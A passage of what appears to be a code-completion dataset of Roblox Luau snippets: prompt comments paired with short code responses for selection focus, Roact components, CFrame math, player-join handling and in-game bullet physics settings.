	-- Return focus if it's visible
	if IsVisible(Item) then
		return Item

	-- Return first visible item within focus if not visible itself
	elseif Item then
		return Item:FindFirstChildWhichIsA('BasePart') or
			Item:FindFirstChildWhichIsA('Model') or
			Item:FindFirstChildWhichIsA('BasePart', true) or
			Item:FindFirstChildWhichIsA('Model', true)
	end
end

function Selection.SetFocus(Item)
	-- Selects `Item` as the focused selection item

	-- Ensure focus has changed
	local Focus = GetVisibleFocus(Item)
	if Selection.Focus == Focus then
		return
	end

	-- Set new focus item
	Selection.Focus = Focus

	-- Fire relevant events
	Selection.FocusChanged:Fire(Focus)

end

function FocusOnLastSelectedPart()
	-- Sets the last part of the selection as the focus

	-- If selection is empty, clear the focus
	if #Selection.Items == 0 then
		Selection.SetFocus(nil);

	-- Otherwise, focus on the last part in the selection
	else
		Selection.SetFocus(Selection.Items[#Selection.Items]);
	end;

end;


Prompt: -- Create the game state machine based on the attribute of this script

Response: local gameStateMachine = GameManager.CreateGameState(Current_Gamemode, Current_GameStateObject)


Prompt: -- Create component

Response: local ScrollingFrame = Roact.PureComponent:extend 'ScrollingFrame'


Prompt: --See: https://www.roblox.com/library/265487607/Cutter

Response:
local function GetCenterOfMass(parts)
	local TotalMass = 0
	local SumOfMasses = Vector3.new(0, 0, 0)

	for i = 1, #parts do
		local part = parts[i]

		TotalMass = TotalMass + part:GetMass()
		SumOfMasses = SumOfMasses + part:GetMass() * part.Position
	end

	return SumOfMasses/TotalMass, TotalMass
end

local function GetBackVector(CFrameValue)
	local _, _, _, _, _, r6, _, _, r9, _, _, r12 = CFrameValue:components()
	return Vector3.new(r6,r9,r12)
end

local function GetCFrameFromTopBack(CFrameAt, Top, Back)
	local Right = Top:Cross(Back)
	return CFrame.new(CFrameAt.x, CFrameAt.y, CFrameAt.z, Right.x, Top.x, Back.x, Right.y, Top.y, Back.y,Right.z, Top.z, Back.z)
end

local function GetRotationInXZPlane(cframe)
	local Back = GetBackVector(cframe)
	return GetCFrameFromTopBack(cframe.p, Vector3.new(0, 1, 0), Vector3.new(Back.x, 0, Back.z).unit)
end


Prompt: -- Handle new player join events

Response: Players.PlayerAdded:Connect(handlePlayerAdded)


Prompt: --// Bullet Physics

Response:
	BulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop
	BulletSpeed = 3000; -- Bullet Speed
	BulletSpread = 0; -- How much spread the bullet has

	ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
	ExploSpeed = 600; -- Speed for explosive rounds

	BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)